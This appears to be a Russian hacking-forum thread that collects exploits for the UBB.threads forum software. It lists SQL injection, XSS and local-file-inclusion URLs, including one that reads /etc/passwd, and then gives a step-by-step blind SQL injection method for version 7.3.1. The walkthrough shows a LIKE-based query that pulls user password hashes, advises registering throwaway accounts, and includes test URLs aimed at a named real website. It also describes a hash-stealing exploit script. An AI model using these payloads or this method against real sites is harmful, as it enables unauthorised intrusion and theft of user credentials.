![]() |
[Обзор уязвимостей UBB.threads]
Vendor: http://www.ubbcentral.com/
Code Execution (doeditconfig.php) Vulnerable: UBB.threads <= 6.5.1.1 Exploit: PHP код:
Vulnerable: UBBThreads 5.x,6.x Note: register_globals=on Exploit: Код:
http://[site]/[ubbpath]/includepollresults.php?config[cookieprefix]=&w3t_language=../../../../../etc/passwd%00Vulnerable: UBBThreads 5.x,6.x Exploit: Код:
http://[site]/[ubbpath]/index.php?debug=<script>alert();</script>Vulnerable: UBB Threads < 6.5.2 Beta Exploit: PHP код:
Vulnerable: UBB.Threads 6.2.* - 6.3.* Exploit: Код:
#!/usr/bin/perlVulnerable: UBB.threads 6.0 Exploit: Код:
//HLLUBBThreadsExploit.cppVulnerable: UBB.threads 6.0 PoC: Код:
http://www.example.com/[path]/editpost.php?Cat=X&Board=X&Number=1'%20OR%20'a'='aVulnerable: UBB.threads 6.5.1.1 UBB.threads 6.5.1 UBB.threads 6.5 UBB.threads 6.2.3 UBB.threads 6.0 PoC: Код:
http://www.example.com/ubbt/download.php?Number=42227[SQL]Vulnerable: UBB.threads 6.5.1.1 UBB.threads 6.5.1 UBB.threads 6.5 UBB.threads 6.2.3 UBB.threads 6.0 PoC: Код:
http://www.example.com/ubbt/dosearch.php?Cat=0&Searchpage=2[XSS]&topic=Vulnerable: UBB.threads 3.5 UBB.threads 3.4 Exploit: Код:
www.example.com/dosearch.php?Name=' OR U_Password='db5c82346d770f48bdd8929094c0c695 Vulnerable: UBB.threads 6.3 PoC: Код:
http://www.example.com/showflat.php?Cat=&Number=19229%20UNION%20SELECT%201,2%20/*&page=0&view=collapsed&sb=5&o=&fpart=1 |
[Обзор уязвимостей UBB.threads]
Вложений: 1
Уязвимость: Слепая SQL инъекция
Уязвимый продукт: "UBB.threads 7.3.1 до 02.09.2008, и более ранние версии" Дата публикации уязвимости на секлабе: 09 сентября, 2008 Описание на секлабе: http://www.securitylab.ru/vulnerability/359080.php Более подробное, но достаточно ущербное и кривое описание: http://www.gulftech.org/?node=resear...00130-09082008 Прочли описание? Много поняли? НЕТ? С чего бы это... а ещё ведь удвиляетесь почему многие копипасты оцениваются минусами Разобрался что к чему и сделал нормальное описание: Требования для успешной эксплуатации уязвимости: 1. Версия форума: "UBB.threads 7.3.1 до 02.09.2008, и более ранние версии" 2. На форуме должна быть создана хотя бы одна тема 3. У вас должен быть аккаунт (т.к. опция поиска доступна только для зарегистрированных пользователей) 4. Версия mysql >= 4.1 (т.к. только с этой версии появились подзапросы) 5. Нужно знать префикс таблиц. 6. Предположительно! мейджик_квотс = офф Описание уязвимости (мои заметки): SQL инъекция, пусть и слепая - звучит скучно и заезженно, но не в этом случае. Данные передаваемые в параметр Forum[] не фильтруются, но обрабатываются далеко не самым лучшим для нас образом: 1. Проблема в том что использовать запятые в запросе нельзя: PHP код:
И эти строки будут объеденяться, но их объеденение так же проблемно: т.к. к каждой строке добавляется кавычка (как в начало, так и в конец, т.е. строка обрамляется в кавычки), и сами строки при этом разделяются запятыми. т.е. отправляя: Forum[]=f1&Forum[]=f222, получаем: '1','222' Самым простым запросом будет: Forum[]=f1')) AND 1=1/* Что бы получать данные из подзапросов пришлось отойти от использования стандартной конструкции с использованием функции substring(). И использовть для подбора данных поиск с помощью опратора LIKE: Код:
Forum[]=1')) AND (SELECT 1 FROM 123123123_USERS WHERE USER_ID=2 AND UPPER(USER_PASSWORD) LIKE '0%')=1/*'))Способ это не самый рациональный, но в данном случае он рабочий, а это главное (способ с использованием функции substring() к сожалению получался ограниченным на вывод только числовых данных из-за специфичности моей конструкции, но другой я придумать не смог). Всего нужно запросов для получения ХЕША: 32*16=512 - не так и много, хотя и не мало. 2. Ещё одна проблема, которая по началу сильно мне насолила, это вырезание символов "c", "f": PHP код:
Но из-за отсутствия нормальный исходников (двиг платный, нуленных версий не много, а то что у меня было, было далеко не самым свежим) по началу принесло не мало гемора. Эксплуатация уязвимости (мои заметки): Т.к. раскручивал инъекцию я как слепую, а там, вроде, только так и можно, то нам понадобиться как то определять правильность выполнения запроса. Делать мы это будет по нахождению результата при поиске слова (т.е. если в результате поиска что то находится, то запрос выполнен верно). Для этого нам потребуется слово которое будет находиться в определённом форуме, делается это так: 1) Регимся на форуме (кстати там обычно активация по мылу нужна, так что регим левые ящики и вперёд). 2) Заходим к списку форумов, смотрим линк на какой либо форум, выглядеть это будет примерно так: ubb=postlist&Board=58&page=1 В данном случае номер заданного форума (называть это разделом не совсем верно, т.к. раздел это нечто другое) = 58. 3) Заходим в выбранный форум и смотрим название какой либо темы, к примеру "Master spreadsheet..." Берём какое либо слово из названия темы и пробуем его найти в указанном форуме (выбрать форум для поиска можно указав его название - в опциях поиска вы этой найдёте без труда). Бац... и что то там нашлось - вот и отлично. 4) Теперь пробуем, к примеру, через GET, такой запрос: Код:
ubbthreads.php?ubb=dosearch&fromsearch=1&checkwords=1&Words=master&Forum[]=f58'))+and+1%3D1/*f58'))+and+1%3D1/* 58 - НОМЕР ФОРУМА, '))+and+1%3D1/* наш запрос ( and 1=1/*). Т.к. заданное условие, обязательно, выполнится, то если форум уязвим вы увидим что искомое слово нашлось, как и было раньше. Теперь пробуем так: Код:
ubbthreads.php?ubb=dosearch&fromsearch=1&checkwords=1&Words=master&Forum[]=f58'))+and+1%3D2/*Судить о том уязвим форум или нет, можно и нужно только если в первом случае мы видим результат, а во втором нет (т.е. нужны две проверки - на правильность и не правильность выполнения условия). Вот на примере конкретного сайта: * Не забудьте зарегестрироваться - опция поиска доступна только зарегистрированным пользователям. Слово найдено: Код:
http://www.findagrave.com/forums/ubbthreads.php?ubb=dosearch&fromsearch=1&checkwords=1&Words=master&Forum[]=f58'))+and+1%3D1/*Код:
http://www.findagrave.com/forums/ubbthreads.php?ubb=dosearch&fromsearch=1&checkwords=1&Words=master&Forum[]=f58'))+and+1%3D2/*Вот только сказать "вперёд и с песней" я не могу, т.к. руками это эксплуатировать - не реал. Написал простенький и в некоторой степени кривой сплоент - выдирает он только ХЕШ пользователя с указанным номером. Как пользоваться моим сплоентом: 1. Регимся на форуме, смотрим свои куки - они пригодятся, т.к. сплоент без них работать не будет. 2. Вписываем данные в сплоент (если вы читали всё что написано выше, то понять что туда вписывать труда не составит + там все что нужно про комментированно). 3. Заливаем куда нидь сплоент и запускаем (т.к. написан он на скорую руку, то немного кривоват, что в свою очередь отражается на скорости его работы (минут 20)). 4. Получаем ХЕШ указанного пользователя. Учтите одного ХЕША будет мало, т.к. отображаемое имя и используемое как логин - могут быть разными. Переписать сплоент под себя, исправив этот недостаток не так и сложно для того кто разбирается в том что у чему, остальные... халявщики, а это не тру (своего рода это зашита от дурака), в противном случае расчитывайте на совпадение отображаемого имени и логина. Дополнительная информация: Алгоритм хеширования: md5() Префикс по дефолту: ubbt_ Таблица с пользователями: prefix_USERS Колонки в таблице пользователей: USER_ID, USER_LOGIN_NAME, USER_PASSWORD, USER_MEMBERSHIP_LEVEL (остальные не пригодятся) Вот приблизительно так и надо дорабатывать копипасты. |
Grey, не успела появится уязвимость, как на следующий день появились патчи для форума, которые инйекцию прикрывают...
UBB.threads 7.3.1 (обновленная) - патч для уязвимости к SQL-инъекции http://www.ubbcentral.com/forums/ubb...topics/216722/ |
| Время: 02:02 |